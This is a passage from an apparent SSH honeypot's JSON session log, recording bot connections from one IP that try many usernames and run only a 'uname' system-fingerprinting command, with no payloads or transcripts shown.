  "transcript_bytes": 864
 },
 {
  "id": "1a37221c-34ba-4aa6-a323-82cce7f87dd2",
  "name": "alpine-lofty-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41434,
  "username": "ghost",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:12:55.550484+00:00",
  "ended_at": "2026-08-27T03:12:58.021050+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "41c80758-f2a4-45cb-bd48-454e7aaa513d",
  "name": "boreal-hardy-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34216,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 322,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:12:55.070839+00:00",
  "ended_at": "2026-08-27T03:13:01.007010+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "07873675-c8e0-4237-9cee-91902640ee28",
  "name": "stormy-deft-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33878,
  "username": "ghost",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:12:49.939727+00:00",
  "ended_at": "2026-08-27T03:12:58.023451+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "2141a7cf-7a47-4665-8256-e1abc9fc17fd",
  "name": "rugged-airy-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55802,
  "username": "cloud",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 382,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:12:32.580195+00:00",
  "ended_at": "2026-08-27T03:12:35.511173+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "41c735a7-ba79-4b62-a9fc-0372004100e8",
  "name": "mighty-dewy-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 35792,
  "username": "www",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:12:28.828065+00:00",
  "ended_at": "2026-08-27T03:12:31.486197+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "57dcf377-da76-42ac-ae54-ccbd78bc8409",
  "name": "woven-thrifty-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 408,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:12:27.920473+00:00",
  "ended_at": "2026-08-27T03:12:32.120704+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "909b0ec0-aad1-4983-91c4-51808b35a7d0",
  "name": "hushed-crystal-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51338,
  "username": "www",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 356,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:12:25.054800+00:00",
  "ended_at": "2026-08-27T03:12:31.487212+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "b5163985-2e66-46e2-9cee-9ab7600ee9a2",
  "name": "sandy-quiet-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50838,
  "username": "dmdba",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 260,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:12:12.169952+00:00",
  "ended_at": "2026-08-27T03:12:15.867243+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "06f54c4f-75ee-43fb-bab0-4a94cbcc4d59",
  "name": "cunning-frank-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 34202,
  "username": "john",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:12:05.492559+00:00",
  "ended_at": "2026-08-27T03:12:07.680264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "094c28ac-45b6-4584-a5cf-052e6d96a41f",
  "name": "cosmic-murky-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44698,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 355,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:12:01.336522+00:00",
  "ended_at": "2026-08-27T03:12:07.294850+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fa1568be-eb2d-45fb-9e70-383548895a2d",
  "name": "nameless-faded-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52292,
  "username": "john",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 371,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:11:59.423501+00:00",
  "ended_at": "2026-08-27T03:12:07.681302+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "38bfac82-ffda-482f-a924-56d2b0818e24",
  "name": "reedy-gnarled-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44640,
  "username": "runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:11:58.872657+00:00",
  "ended_at": "2026-08-27T03:12:03.926099+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b2adb49a-325b-47f5-9273-364ee9734597",
  "name": "dapper-wiry-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55320,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:11:43.593246+00:00",
  "ended_at": "2026-08-27T03:11:49.274090+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2eda99da-f1a1-490d-b88d-b4150709275f",
  "name": "blazing-dapper-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 55746,
  "username": "tomcat",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:11:37.573864+00:00",
  "ended_at": "2026-08-27T03:11:39.747856+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d5b465b-6a0c-4474-81c6-8774fd785d62",
  "name": "solemn-slender-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 55716,
  "username": "botuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:11:35.423360+00:00",
  "ended_at": "2026-08-27T03:11:38.012072+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "01987180-2500-4398-9d18-13f21216d66a",
  "name": "granite-autumn-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34920,
  "username": "tomcat",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:11:33.370824+00:00",
  "ended_at": "2026-08-27T03:11:39.745300+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "1a4cbc16-debe-4494-9959-82e1c887e98f",
  "name": "windswept-muted-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55260,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:11:32.893396+00:00",
  "ended_at": "2026-08-27T03:11:38.891322+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "822abb2e-950d-49e6-8af2-958958913dc2",
  "name": "restless-tidal-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57664,
  "username": "botuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 348,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:11:31.576924+00:00",
  "ended_at": "2026-08-27T03:11:38.010276+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "ee60ca3b-482e-4fd6-a35c-3180463c302c",
  "name": "quiet-scarlet-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33184,
  "username": "azureuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:11:18.834944+00:00",
  "ended_at": "2026-08-27T03:11:21.651910+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dcbde4c1-927e-4f91-aff2-99f8a3eeff14",
  "name": "bitter-cheerful-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57618,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:11:16.157248+00:00",
  "ended_at": "2026-08-27T03:11:20.690176+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d4aa7042-0ffc-4aaa-b715-9225cfd629aa",
  "name": "inland-blunt-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 44686,
  "username": "liyang",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:11:10.731575+00:00",
  "ended_at": "2026-08-27T03:11:13.079377+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5802bb6c-2bfb-477d-979b-446e456f3085",
  "name": "civil-upland-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46376,
  "username": "liyang",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 322,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:11:04.246696+00:00",
  "ended_at": "2026-08-27T03:11:13.080691+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "5531d1f4-4ae0-4882-b90a-ee45724daa62",
  "name": "solemn-humble-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46440,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:10:59.705901+00:00",
  "ended_at": "2026-08-27T03:11:04.280487+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "30fd9b80-7998-45f7-8eae-b4638db5021b",
  "name": "mossy-umber-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:10:51.373992+00:00",
  "ended_at": "2026-08-27T03:10:55.173294+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "147c4d43-d748-46cc-ab15-52e1fb043649",
  "name": "seaward-weathered-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38606,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 495,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:10:46.407146+00:00",
  "ended_at": "2026-08-27T03:10:52.562607+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d939b128-e9e4-41e9-9911-efef096d2136",
  "name": "coral-salty-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51044,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 415,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:10:44.414147+00:00",
  "ended_at": "2026-08-27T03:10:48.398301+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c4b0cd96-c34c-4bd5-a091-55a31d76f922",
  "name": "hazel-feathered-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55414,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:10:38.317844+00:00",
  "ended_at": "2026-08-27T03:10:42.912729+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "079ea242-098c-4300-b383-b29d06fcea24",
  "name": "whispering-cobalt-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 57702,
  "username": "vyos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:10:33.726855+00:00",
  "ended_at": "2026-08-27T03:10:40.668770+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fdfb26f7-cb01-48cd-b1d4-0485c3f56b9e",
  "name": "flinty-patient-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38072,
  "username": "alex",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:10:29.656331+00:00",
  "ended_at": "2026-08-27T03:10:32.997172+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "210d266a-9748-4e75-a5f1-4f476c3ad0bc",
  "name": "merry-jovial-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38016,
  "username": "vyos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 473,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:10:29.283217+00:00",
  "ended_at": "2026-08-27T03:10:40.667339+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "a2505e34-57f1-4125-ba90-5853764885f2",
  "name": "alpine-civil-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55358,
  "username": "app",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:10:24.300724+00:00",
  "ended_at": "2026-08-27T03:10:29.267342+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d7f56b95-3031-4b47-9106-127e655c78fc",
  "name": "grassy-courtly-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48976,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 260,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:10:08.872708+00:00",
  "ended_at": "2026-08-27T03:10:12.544253+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fd0569c7-eb7c-47b5-b4af-005bc04f4795",
  "name": "faded-fierce-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38994,
  "username": "devops",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 182,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:58.991098+00:00",
  "ended_at": "2026-08-27T03:10:03.329566+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "98891e71-0fc7-40e8-b891-4e3159ca1e80",
  "name": "patient-emerald-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38894,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 207,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:58.839131+00:00",
  "ended_at": "2026-08-27T03:10:04.516261+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "246d2746-d73e-4918-9717-0c1fb1865ad2",
  "name": "marbled-serene-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47072,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:55.695500+00:00",
  "ended_at": "2026-08-27T03:10:00.280198+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "29631ec6-7ddf-4e6e-a5d7-00d44b2bd2ca",
  "name": "lanky-orderly-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 51070,
  "username": "mohammad",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:09:52.271243+00:00",
  "ended_at": "2026-08-27T03:09:54.043133+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4742aea8-b6d0-4967-8f64-05e5928044a5",
  "name": "early-buoyant-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40230,
  "username": "mohammad",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:47.675469+00:00",
  "ended_at": "2026-08-27T03:09:54.044304+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "124fc5a0-ab53-4521-8907-cfe5dd01f820",
  "name": "frugal-bitter-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47030,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:45.822786+00:00",
  "ended_at": "2026-08-27T03:09:49.141699+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3507efe3-17a4-40e2-815a-2b76b36bf31b",
  "name": "glassy-pristine-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40162,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:32.962220+00:00",
  "ended_at": "2026-08-27T03:09:37.151168+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6bfa274d-4a22-4cce-a9e1-190b764b9405",
  "name": "marine-quartz-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:32.445321+00:00",
  "ended_at": "2026-08-27T03:09:37.439610+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a997f451-bc7c-40a1-b187-1662fdaabba7",
  "name": "thawing-mighty-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47958,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:21.869795+00:00",
  "ended_at": "2026-08-27T03:09:25.183903+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da7e72fc-acd5-4565-bb94-7b378117a67e",
  "name": "dewy-crimson-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57232,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:10.632130+00:00",
  "ended_at": "2026-08-27T03:09:14.344914+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ce0da0ed-6bfa-44f1-af54-2ab9b9d401a5",
  "name": "genial-thorny-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57194,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:00.117534+00:00",
  "ended_at": "2026-08-27T03:09:05.994238+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "62519c50-129c-49e8-a83d-8b0a4cda6c5b",
  "name": "solar-fabled-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41866,
  "username": "steam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:08:59.921359+00:00",
  "ended_at": "2026-08-27T03:09:04.963212+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2d408ff4-e0ea-422c-a296-a9e55e7e6bed",
  "name": "shifting-early-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58280,
  "username": "username",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 242,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:08:53.230686+00:00",
  "ended_at": "2026-08-27T03:08:58.252374+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1f79de7d-43e3-4a8f-ae48-d2f28b469a80",
  "name": "jaunty-earnest-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 40214,
  "username": "config",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:08:49.236313+00:00",
  "ended_at": "2026-08-27T03:08:51.197236+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c118c60-a1d6-4fdb-9428-81a6e48f7c1e",
  "name": "placid-windswept-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43262,
  "username": "config",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 278,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:08:45.040816+00:00",
  "ended_at": "2026-08-27T03:08:51.198485+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "053adf7e-97d1-4f8e-9eaa-06d2952fcd5a",
  "name": "shaded-creaky-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58250,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:08:44.750922+00:00",
  "ended_at": "2026-08-27T03:08:48.950166+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d484a114-604b-43ff-83e3-4baf34922eb4",
  "name": "marbled-peaty-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43344,
  "username": "appuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 355,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:08:41.732935+00:00",
  "ended_at": "2026-08-27T03:08:47.324560+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d4fccc7f-cdf4-4299-b440-28f58ccaeefd",
  "name": "bold-keen-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 50930,
  "username": "almalinux",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:08:40.659297+00:00",
  "ended_at": "2026-08-27T03:08:42.399414+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad66c903-19f8-4b74-98ad-1cb06d82498f",
  "name": "wry-oaken-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
